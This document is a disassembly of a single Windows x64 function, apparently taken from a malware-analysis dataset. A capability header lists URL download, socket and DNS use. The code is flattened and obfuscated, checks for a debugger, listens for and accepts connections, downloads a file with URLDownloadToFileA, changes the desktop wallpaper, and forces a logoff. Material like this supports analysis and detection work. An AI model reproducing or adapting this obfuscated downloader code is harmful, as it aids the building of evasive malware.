Function at 0x140019ef4
Capabilities:
Create thread
Download url
Initialize winsock library
Receive data
Resolve dns

Disassembly:
push rax
pushf
mov eax, 0x75c00737
pushf
not eax
add eax, 0xaf95a29b
xor eax, 0xf8aa740b
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x9f222b0f
xor eax, 0xb36ce752
rol eax, 0xab
popf
pushf
not eax
add eax, 0xc7a854da
xor eax, 0x9103593f
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xdcd8351e
xor eax, 0xecbea3e9
rol eax, 0xe7
popf
cmp eax, 0x29
jne 0x140019f57
popf
pop rax
jmp 0x14001bbeb
cmp eax, 0
jne 0x140019f66
popf
pop rax
jmp 0x14001a2cc
cmp eax, 3
jne 0x140019f75
popf
pop rax
jmp 0x14001a59f
cmp eax, 1
jne 0x140019f84
popf
pop rax
jmp 0x14001a429
cmp eax, 0xd
jne 0x140019f93
popf
pop rax
jmp 0x14001acdd
cmp eax, 0x1a
jne 0x140019fa2
popf
pop rax
jmp 0x14001b46a
cmp eax, 0xe
jne 0x140019fb1
popf
pop rax
jmp 0x14001ad52
cmp eax, 0x31
jne 0x140019fc0
popf
pop rax
jmp 0x14001c124
cmp eax, 0x19
jne 0x140019fcf
popf
pop rax
jmp 0x14001b3ca
cmp eax, 8
jne 0x140019fde
popf
pop rax
jmp 0x14001a9a2
cmp eax, 0x2a
jne 0x140019fed
popf
pop rax
jmp 0x14001bc47
cmp eax, 0x17
jne 0x140019ffc
popf
pop rax
jmp 0x14001b202
cmp eax, 0x1c
jne 0x14001a00b
popf
pop rax
jmp 0x14001b56d
cmp eax, 0x2e
jne 0x14001a01a
popf
pop rax
jmp 0x14001bf2e
cmp eax, 0x18
jne 0x14001a029
popf
pop rax
jmp 0x14001b25e
cmp eax, 0x2b
jne 0x14001a038
popf
pop rax
jmp 0x14001bdb5
cmp eax, 0x1b
jne 0x14001a047
popf
pop rax
jmp 0x14001b50f
cmp eax, 0x2d
jne 0x14001a056
popf
pop rax
jmp 0x14001bee3
cmp eax, 0x23
jne 0x14001a065
popf
pop rax
jmp 0x14001b95b
cmp eax, 0x25
jne 0x14001a074
popf
pop rax
jmp 0x14001ba5c
cmp eax, 0x32
jne 0x14001a083
popf
pop rax
jmp 0x14001c15e
cmp eax, 0x13
jne 0x14001a092
popf
pop rax
jmp 0x14001b017
cmp eax, 0x33
jne 0x14001a0a1
popf
pop rax
jmp 0x14001c208
cmp eax, 0x24
jne 0x14001a0b0
popf
pop rax
jmp 0x14001b9d6
cmp eax, 0x1e
jne 0x14001a0bf
popf
pop rax
jmp 0x14001b67a
cmp eax, 0xc
jne 0x14001a0ce
popf
pop rax
jmp 0x14001ac6e
cmp eax, 0x26
jne 0x14001a0dd
popf
pop rax
jmp 0x14001baf9
cmp eax, 0x27
jne 0x14001a0ec
popf
pop rax
jmp 0x14001bb3d
cmp eax, 0x30
jne 0x14001a0fb
popf
pop rax
jmp 0x14001c0d6
cmp eax, 0x10
jne 0x14001a10a
popf
pop rax
jmp 0x14001ae40
cmp eax, 0x37
jne 0x14001a119
popf
pop rax
jmp 0x14001c3b6
cmp eax, 9
jne 0x14001a128
popf
pop rax
jmp 0x14001aab0
cmp eax, 0x39
jne 0x14001a137
popf
pop rax
jmp 0x14001c4bc
cmp eax, 0x16
jne 0x14001a146
popf
pop rax
jmp 0x14001b1af
cmp eax, 0x3b
jne 0x14001a155
popf
pop rax
jmp 0x14001c571
cmp eax, 0xa
jne 0x14001a164
popf
pop rax
jmp 0x14001ab77
cmp eax, 0x36
jne 0x14001a173
popf
pop rax
jmp 0x14001c345
cmp eax, 0x14
jne 0x14001a182
popf
pop rax
jmp 0x14001b0b4
cmp eax, 7
jne 0x14001a191
popf
pop rax
jmp 0x14001a876
cmp eax, 0x34
jne 0x14001a1a0
popf
pop rax
jmp 0x14001c267
cmp eax, 2
jne 0x14001a1af
popf
pop rax
jmp 0x14001a502
cmp eax, 0x20
jne 0x14001a1be
popf
pop rax
jmp 0x14001b7d0
cmp eax, 0x1d
jne 0x14001a1cd
popf
pop rax
jmp 0x14001b60b
cmp eax, 0x11
jne 0x14001a1dc
popf
pop rax
jmp 0x14001aeb7
cmp eax, 0x35
jne 0x14001a1eb
popf
pop rax
jmp 0x14001c2c6
cmp eax, 0x3a
jne 0x14001a1fa
popf
pop rax
jmp 0x14001c538
cmp eax, 0x12
jne 0x14001a209
popf
pop rax
jmp 0x14001af6b
cmp eax, 0x21
jne 0x14001a218
popf
pop rax
jmp 0x14001b839
cmp eax, 0x38
jne 0x14001a227
popf
pop rax
jmp 0x14001c448
cmp eax, 0xb
jne 0x14001a236
popf
pop rax
jmp 0x14001abd9
cmp eax, 0xf
jne 0x14001a245
popf
pop rax
jmp 0x14001adce
cmp eax, 0x15
jne 0x14001a254
popf
pop rax
jmp 0x14001b11e
cmp eax, 5
jne 0x14001a263
popf
pop rax
jmp 0x14001a6de
cmp eax, 6
jne 0x14001a272
popf
pop rax
jmp 0x14001a7ad
cmp eax, 0x22
jne 0x14001a281
popf
pop rax
jmp 0x14001b8e4
cmp eax, 0x2c
jne 0x14001a290
popf
pop rax
jmp 0x14001be55
cmp eax, 0x1f
jne 0x14001a29f
popf
pop rax
jmp 0x14001b735
cmp eax, 4
jne 0x14001a2ae
popf
pop rax
jmp 0x14001a635
cmp eax, 0x2f
jne 0x14001a2bd
popf
pop rax
jmp 0x14001bfd6
cmp eax, 0x28
jne 0x14001a2cc
popf
pop rax
jmp 0x14001bbe1
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x158], rax
mov rbx, rcx
xor r12d, r12d
mov qword [rsp + 0x50], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov ecx, 0x51b88c96
pushf
not ecx
add ecx, 0xc58495aa
xor ecx, 0xdba1134e
rol ecx, 0x95
popf
pushf
not ecx
add ecx, 0xc176bde0
xor ecx, 0xe1a342f8
rol ecx, 0x2b
popf
pushf
not ecx
add ecx, 0xce19a9c2
xor ecx, 0xb481851e
rol ecx, 0xd0
popf
lea rdx, [rbp - 0x60]
jmp 0x14001a369
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14001a3d0
push rax
pushf
mov eax, 0xd27e1e1
pushf
not eax
add eax, 0xa4df5c1d
xor eax, 0x8dfbf2c7
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xcc845be7
xor eax, 0xb55d5f12
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd7448d3e
xor eax, 0xbc023e79
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc1f32f97
xor eax, 0xb442feca
rol eax, 0x16
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xb8e94165
pushf
not eax
add eax, 0xb0356a4d
xor eax, 0xa1598b49
rol eax, 0xec
popf
pushf
not eax
add eax, 0xb71b4d7d
xor eax, 0xdc618484
rol eax, 9
popf
pushf
not eax
add eax, 0xc824d60c
xor eax, 0xd81549b4
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xa2ec7677
xor eax, 0xc14c888b
rol eax, 0xaf
popf
jmp 0x140019f48
mov dword [rsp + 0x64], 2
mov dword [rsp + 0x6c], 6
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x68], 1
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x60]
lea rdx, [0x1adfb7f09]
pushf
sub rdx, 0x6dfb0855
popf
xor ecx, ecx
jmp 0x14001a468
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x14001a4cf
push rax
pushf
mov eax, 0xc26e83d5
pushf
not eax
add eax, 0xb82a302a
xor eax, 0xe55a2fdb
rol eax, 0x33
popf
pushf
not eax
add eax, 0x9d8921b7
xor eax, 0x8b1bdd68
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xe5340282
xor eax, 0xa6bde26f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xfba85ae2
xor eax, 0xe41d48fd
rol eax, 0xdc
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x161763a4
pushf
not eax
add eax, 0xce1ac4fc
xor eax, 0xa2b879da
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xf22be4f3
xor eax, 0xbdc0f848
rol eax, 0xbe
popf
jmp 0x140019f48
mov rax, qword [rsp + 0x50]
mov r8d, dword [rax + 0xc]
mov edx, dword [rax + 8]
mov ecx, dword [rax + 4]
jmp 0x14001a512
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
jmp 0x14001a51c
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14001a559
push rax
pushf
mov eax, 0x5c5af5b1
pushf
not eax
add eax, 0x91d1724e
xor eax, 0xf358ba3c
rol eax, 0x86
popf
pushf
not eax
add eax, 0xe04aef25
xor eax, 0x949946f3
rol eax, 0x22
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x9798c95c
pushf
not eax
add eax, 0xf3388146
xor eax, 0x8a0e473a
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x93dbbe3b
xor eax, 0xa7d1fa51
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc5df5515
xor eax, 0xfa0939ad
rol eax, 0x26
popf
jmp 0x140019f48
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x1a0c996ad]
pushf
sub r8, 0x60c92055
popf
lea rdx, [0x1808acff3]
pushf
sub rdx, 0x408a597b
popf
xor ecx, ecx
jmp 0x14001a5ce
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r9d, [r12 + 3]
lea r8, [0x19ef6ef8a]
pushf
sub r8, 0x5ef67932
popf
xor edx, edx
lea ecx, [rdx + 0x14]
jmp 0x14001a5f1
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
xor edx, edx
xor ecx, ecx
jmp 0x14001a5fc
call qword [sym.imp.USER32.dll_ExitWindowsEx]
push rax
pushf
mov eax, 0x1275e0ba
pushf
not eax
add eax, 0xb5212390
xor eax, 0xd3b72260
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xc26af8da
xor eax, 0x9edee223
rol eax, 0x5f
popf
jmp 0x140019f48
cmp r15, 0xffffffffffffffff
je 0x14001a698
push rax
pushf
mov eax, 0x1bb12b03
pushf
not eax
add eax, 0x8d551650
xor eax, 0xe78e1d24
rol eax, 0xda
popf
pushf
not eax
add eax, 0xf14c9314
xor eax, 0xf2d1f7e1
rol eax, 0x52
popf
pushf
not eax
add eax, 0xdaf26146
xor eax, 0xd53fce8d
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xc4e0ce2a
xor eax, 0xf6ef4694
rol eax, 0x45
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xb8b60bcc
pushf
not eax
add eax, 0xc74cee06
xor eax, 0xeecb0ea8
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xa68056c7
xor eax, 0xacd6a8c8
rol eax, 0xa
popf
pushf
not eax
add eax, 0xd1853d14
xor eax, 0xabfa2f8d
rol eax, 0xcc
popf
jmp 0x140019f48
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
mov rcx, r15
jmp 0x14001a6ef
call qword [rbx + 0x10]
cmp eax, 0xffffffff
je 0x14001a754
push rax
pushf
mov eax, 0xf92cee7c
pushf
not eax
add eax, 0xcd048245
xor eax, 0xe9dd4692
rol eax, 0x12
popf
pushf
not eax
add eax, 0xff2b88d5
xor eax, 0xe512bf10
rol eax, 0x76
popf
pushf
not eax
add eax, 0x86a01482
xor eax, 0xb9412b39
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xbb686560
xor eax, 0xd5c6d4b9
rol eax, 0x5c
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x79476e5f
pushf
not eax
add eax, 0xca957e84
xor eax, 0xf1ad4a8d
rol eax, 0x95
popf
pushf
not eax
add eax, 0xdf6dae8b
xor eax, 0xdc8e7f4a
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xebcaae21
xor eax, 0xcb07d6df
rol eax, 0x53
popf
pushf
not eax
add eax, 0xb48e58ce
xor eax, 0x83c02038
rol eax, 0x65
popf
jmp 0x140019f48
mov rcx, qword [rsp + 0x50]
jmp 0x14001a7b3
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov edx, 0x8160611a
pushf
not edx
add edx, 0xf01d9b7d
xor edx, 0xa672a13a
rol edx, 0x60
popf
pushf
not edx
add edx, 0x8f06b410
xor edx, 0xd570ebc9
rol edx, 0
popf
pushf
not edx
add edx, 0xd882574c
xor edx, 0xc53a69cd
rol edx, 0xb7
popf
mov rcx, r15
jmp 0x14001a801
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x14001a843
push rax
pushf
mov eax, 0x3a520a36
pushf
not eax
add eax, 0xd5b47ff5
xor eax, 0xdda1f1e4
rol eax, 0x91
popf
pushf
not eax
add eax, 0x8b17661b
xor eax, 0x81e2d893
rol eax, 0x69
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x2c9a0103
pushf
not eax
add eax, 0xddf52f11
xor eax, 0x99cecfe5
rol eax, 0x97
popf
pushf
not eax
add eax, 0x935fed1d
xor eax, 0x9f57222c
rol eax, 0x51
popf
jmp 0x140019f48
mov esi, 0x4d221ea3
pushf
not esi
add esi, 0xe5b8334a
xor esi, 0x817f4157
rol esi, 0xd4
popf
pushf
not esi
add esi, 0x8b7a1e7c
xor esi, 0xabba9002
rol esi, 0x73
popf
pushf
not esi
add esi, 0xf221787c
xor esi, 0x850c631f
rol esi, 0x27
popf
pushf
not esi
add esi, 0xe2a5529f
xor esi, 0xe9f7d48f
rol esi, 0x9f
popf
movabs r13, 0x2ec800000df4c147
pushf
not r13
add r13, 0x6996e864
xor r13, 0x5ba6c36e
rol r13, 0x8d
popf
pushf
not r13
add r13, 0x58e01a2f
xor r13, 0x43ac3ff8
rol r13, 0x6e
popf
jmp 0x14001a90c
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14001a95c
push rax
pushf
mov eax, 0xfcbab5e
pushf
not eax
add eax, 0xd75b8352
xor eax, 0x80a44585
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x91b507ca
xor eax, 0xfda7ed1d
rol eax, 0x60
popf
pushf
not eax
add eax, 0xdda2425c
xor eax, 0xaa39c9f5
rol eax, 0x4a
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xf4dc5f88
pushf
not eax
add eax, 0xad3c1f48
xor eax, 0xf2bef301
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xd241b6cd
xor eax, 0x9de1cf8f
rol eax, 0x14
popf
pushf
not eax
add eax, 0xdc1f6c70
xor eax, 0xf3551a21
rol eax, 0x4c
popf
jmp 0x140019f48
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [0x1ba818bc9]
pushf
sub r8, 0x7a811571
popf
lea rdx, [0x18c97fd2f]
pushf
sub rdx, 0x4c9786b7
popf
xor ecx, ecx
jmp 0x14001a9d1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r9d, 0x74ab6a48
pushf
not r9d
add r9d, 0xc285bb80
xor r9d, 0xe0f21d4a
rol r9d, 0x63
popf
pushf
not r9d
add r9d, 0xa2ff4edd
xor r9d, 0xd23237dc
rol r9d, 0x7d
popf
pushf
not r9d
add r9d, 0xa998b344
xor r9d, 0xe993a618
rol r9d, 0xb9
popf
pushf
not r9d
add r9d, 0xd11fff19
xor r9d, 0xc5949439
rol r9d, 0xbe
popf
lea r8, [0x19461bf32]
pushf
sub r8, 0x546148da
popf
xor edx, edx
lea ecx, [rdx + 0x14]
jmp 0x14001aa59
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
xor edx, edx
xor ecx, ecx
jmp 0x14001aa64
call qword [sym.imp.USER32.dll_ExitWindowsEx]
push rax
pushf
mov eax, 0x5eb64307
pushf
not eax
add eax, 0xaddfa0eb
xor eax, 0xc2a05d3c
rol eax, 0xee
popf
pushf
not eax
add eax, 0x9381e6a5
xor eax, 0x9e3604c9
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xce104ce9
xor eax, 0xca4a6662
rol eax, 0xdd
popf
jmp 0x140019f48
mov dword [rsp + 0x58], socket
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov rcx, r15
jmp 0x14001aac5
call qword [sym.imp.WS2_32.dll_accept]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14001ab31
push rax
pushf
mov eax, 0xc8c5c90a
pushf
not eax
add eax, 0xc17be3fe
xor eax, 0x8e93838b
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xaa567b8d
xor eax, 0x99c0efaf
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe0e5a696
xor eax, 0x80635755
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x918c3eb9
xor eax, 0xcfc8db62
rol eax, 0x3a
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x4f14c270
pushf
not eax
add eax, 0xd106b11a
xor eax, 0xca8eba01
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xbde979c3
xor eax, 0xc9ac8bc8
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc2ad33c8
xor eax, 0xb428304d
rol eax, 3
popf
jmp 0x140019f48
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea rax, [rbp + 0x140]
mov rbx, r14
push rax
pushf
mov eax, 0xbedb17c2
pushf
not eax
add eax, 0xb50cef5d
xor eax, 0x8ccae554
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xa2093c97
xor eax, 0x8863531c
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc940c7ae
xor eax, 0x97abcaa4
rol eax, 0x8a
popf
jmp 0x140019f48
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001ac15
push rax
pushf
mov eax, 0xa8102841
pushf
not eax
add eax, 0xf46ed952
xor eax, 0xc5cbca6c
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xead54f97
xor eax, 0xaa0a91d8
rol eax, 0xc8
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x202fa142
pushf
not eax
add eax, 0xb6ddc3d6
xor eax, 0xf9ed4f41
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xf5ab3110
xor eax, 0xa42b78d3
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xd3308c11
xor eax, 0xbf5801c4
rol eax, 0x22
popf
pushf
not eax
add eax, 0xa8e5fdcc
xor eax, 0x9972bf6d
rol eax, 0xcb
popf
jmp 0x140019f48
cmp rbx, r13
ja 0x14001acaa
push rax
pushf
mov eax, 0x78977e5e
pushf
not eax
add eax, 0xf2c444fd
xor eax, 0xf0280c3c
rol eax, 0x28
popf
pushf
not eax
add eax, 0xddd5c229
xor eax, 0xc30b1f9e
rol eax, 0x47
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x172cbfd1
pushf
not eax
add eax, 0xc654b73c
xor eax, 0xcf091787
rol eax, 0xba
popf
pushf
not eax
add eax, 0xab8ae69b
xor eax, 0xf60a3697
rol eax, 0xf9
popf
jmp 0x140019f48
mov qword [rsp + 0x48], socket
cmp rbx, 0x10
jae 0x14001ad1f
push rax
pushf
mov eax, 0xffe62218
pushf
not eax
add eax, 0xa3a67aa9
xor eax, 0xb6e169ea
rol eax, 0x60
popf
pushf
not eax
add eax, 0xfda0a177
xor eax, 0xef7f6ffc
rol eax, 0x69
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x89b81ea4
pushf
not eax
add eax, 0x8887e196
xor eax, 0xb0ae778f
rol eax, 0x85
popf
pushf
not eax
add eax, 0x8bcd1467
xor eax, 0xbf966483
rol eax, 0x9f
popf
jmp 0x140019f48
mov qword [rsp + 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x14001b2c7
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x14001ae0d
push rax
pushf
mov eax, 0x7d32cbb7
pushf
not eax
add eax, 0xb40de883
xor eax, 0xd4388460
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x9b303611
xor eax, 0xdd01fc06
rol eax, 0x1d
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xd0881632
pushf
not eax
add eax, 0xae290df3
xor eax, 0xe7ffe10e
rol eax, 0x72
popf
pushf
not eax
add eax, 0xed40854e
xor eax, 0x92079bc0
rol eax, 0x60
popf
jmp 0x140019f48
mov rdi, r13
movabs rax, 0xe9548e83
pushf
not rax
add rax, 0x6eb70990
xor rax, 0x7894091d
rol rax, 0xff
popf
pushf
not rax
add rax, 0x40cae1c7
xor rax, 0x41cfa8b6
rol rax, 0xfc
popf
add rax, 0x27
jmp 0x14001b017
cmp rdi, 0x16
cmovb rdi, rsi
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14001af12
push rax
pushf
mov eax, 0x242cb3e5
pushf
not eax
add eax, 0xefec62d9
xor eax, 0x999b9260
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xafe0f581
xor eax, 0xa11a7f7b
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xaddadf58
xor eax, 0x8ffe7501
rol eax, 0x8d
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x8e32f236
pushf
not eax
add eax, 0xf591ba47
xor eax, 0xa6dc9171
rol eax, 0xad
popf
pushf
not eax
add eax, 0x97b4716a
xor eax, 0xf11f1d39
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xdc6d2c46
xor eax, 0x95900c7d
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xa4aedb4a
xor eax, 0xdf4b4cc6
rol eax, 0xa6
popf
jmp 0x140019f48
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001afd1
push rax
pushf
mov eax, 0xde42b85e
pushf
not eax
add eax, 0xb3f96567
xor eax, 0xaccb8f0c
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xc44df1f5
xor eax, 0xc6fcae5b
rol eax, 0x70
popf
pushf
not eax
add eax, 0x9b30d419
xor eax, 0x9d6e35f1
rol eax, 0xba
popf
pushf
not eax
add eax, 0x89ebdd87
xor eax, 0x8c18a2b6
rol eax, 0x1b
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x39476e9a
pushf
not eax
add eax, 0xf7219cb8
xor eax, 0x8a02036c
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xfff3602d
xor eax, 0xc1129cba
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa51f22eb
xor eax, 0xda79a56b
rol eax, 0x19
popf
jmp 0x140019f48
mov rcx, rax
call fcn.140010f9e
test rax, rax
je 0x14001b05b
push rax
pushf
mov eax, 0xe8e84513
pushf
not eax
add eax, 0xd4999351
xor eax, 0xf5b0b0f7
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xfd96cc20
xor eax, 0xa9a6bc29
rol eax, 0xaa
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x73faa5be
pushf
not eax
add eax, 0xd4d07216
xor eax, 0xcccd92fa
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf1f9b89d
xor eax, 0xdc95d5d5
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xd10cccf2
xor eax, 0xa82a23f5
rol eax, 0x26
popf
pushf
not eax
add eax, 0xbe90ae4c
xor eax, 0x93f810c8
rol eax, 0x8f
popf
jmp 0x140019f48
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001b25e
test rcx, rcx
je 0x14001b17c
push rax
pushf
mov eax, 0x8ce9bba5
pushf
not eax
add eax, 0x97d3c31f
xor eax, 0xb989b351
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x9247edac
xor eax, 0xb46f0eee
rol eax, 0x82
popf
pushf
not eax
add eax, 0xa42d9de2
xor eax, 0xdab0a5fe
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xa6aec72e
xor eax, 0xe71105d1
rol eax, 9
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xeae9ec66
pushf
not eax
add eax, 0xd6340a0d
xor eax, 0xd26bfd16
rol eax, 0x45
popf
pushf
not eax
add eax, 0xc91f1c45
xor eax, 0xa4e3062a
rol eax, 0xe0
popf
jmp 0x140019f48
call fcn.140010f9e
mov rsi, rax
jmp 0x14001b25e
mov rsi, r12
push rax
pushf
mov eax, 0x48412bba
pushf
not eax
add eax, 0xca361894
xor eax, 0xa606d60f
rol eax, 0x89
popf
pushf
not eax
add eax, 0xa03571f6
xor eax, 0x864ac3ab
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xece6467a
xor eax, 0xe037092b
rol eax, 0x77
popf
pushf
not eax
add eax, 0xb04a1288
xor eax, 0xd78bb97a
rol eax, 0xdf
popf
jmp 0x140019f48
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0x140]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov esi, 0x758e6cd8
pushf
not esi
add esi, 0xe799e3cb
xor esi, 0xdc4241f2
rol esi, 0xac
popf
pushf
not esi
add esi, 0x92ce63b5
xor esi, 0xe9435ce9
rol esi, 0xa2
popf
pushf
not esi
add esi, 0x926d65bb
xor esi, 0x89f954d6
rol esi, 5
popf
lea rdx, [0x1bb187659]
pushf
sub rdx, 0x7b17ff29
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140015fc1
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.140018b5b
mov rcx, rax
lea rdx, [0x1b7f3b4ea]
pushf
sub rdx, 0x77f38b2a
popf
jmp 0x14001b319
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14001b384
push rax
pushf
mov eax, 0x3ea4b9b0
pushf
not eax
add eax, 0xa74a54fe
xor eax, 0xf22508fa
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xb0bc010c
xor eax, 0xd70c3a70
rol eax, 7
popf
pushf
not eax
add eax, 0xa6123710
xor eax, 0xc39d7797
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xf5e3e266
xor eax, 0xee98df7b
rol eax, 0x2f
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0xe7625cc2
pushf
not eax
add eax, 0x9f02a45f
xor eax, 0xf7813d6e
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xbdb0f1b2
xor eax, 0x8aa4b755
rol eax, 0x67
popf
pushf
not eax
add eax, 0x840de234
xor eax, 0xc5696f96
rol eax, 0x4e
popf
jmp 0x140019f48
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b424
push rax
pushf
mov eax, 0xa7dcd4fd
pushf
not eax
add eax, 0x9ee372d1
xor eax, 0xd6f54720
rol eax, 0x40
popf
pushf
not eax
add eax, 0xb0fd72aa
xor eax, 0xefd3b065
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe81c86f0
xor eax, 0xa981802a
rol eax, 0xff
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x6624b9ba
pushf
not eax
add eax, 0xe2119e85
xor eax, 0xeb03b346
rol eax, 0x40
popf
pushf
not eax
add eax, 0xd4f4752f
xor eax, 0xf0794b8d
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe4de8411
xor eax, 0xf3b3c53f
rol eax, 0x2f
popf
jmp 0x140019f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b4c9
push rax
pushf
mov eax, 0x2016535a
pushf
not eax
add eax, 0xa9e1b4cf
xor eax, 0xb2b77436
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa00f1032
xor eax, 0xe75048b2
rol eax, 0xff
popf
pushf
not eax
add eax, 0xe5d5fad0
xor eax, 0xde476c71
rol eax, 0xd6
popf
jmp 0x140019f48
push rax
pushf
mov eax, 0x29e7ac5a
pushf
not eax
add eax, 0xaa0364f0
xor eax, 0xd5e5b612
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x9c1e7002
xor eax, 0x8293c3ca
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xf55bd70e
xor eax, 0xdff17070
rol eax, 0xea
popf
jmp 0x140019f48
call fcn.140018871
push rax
pushf
mov eax, 0xa2fa6774
pushf
not eax
add eax, 0x9ec55587
xor eax, 0x94576073
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xfd6ce22c
xor eax, 0x9f93061a
rol eax, 0x41
popf
pushf
not eax
add eax, 0xf3fba8a3
xor eax, 0x9595f617
rol eax, 0x4d
popf
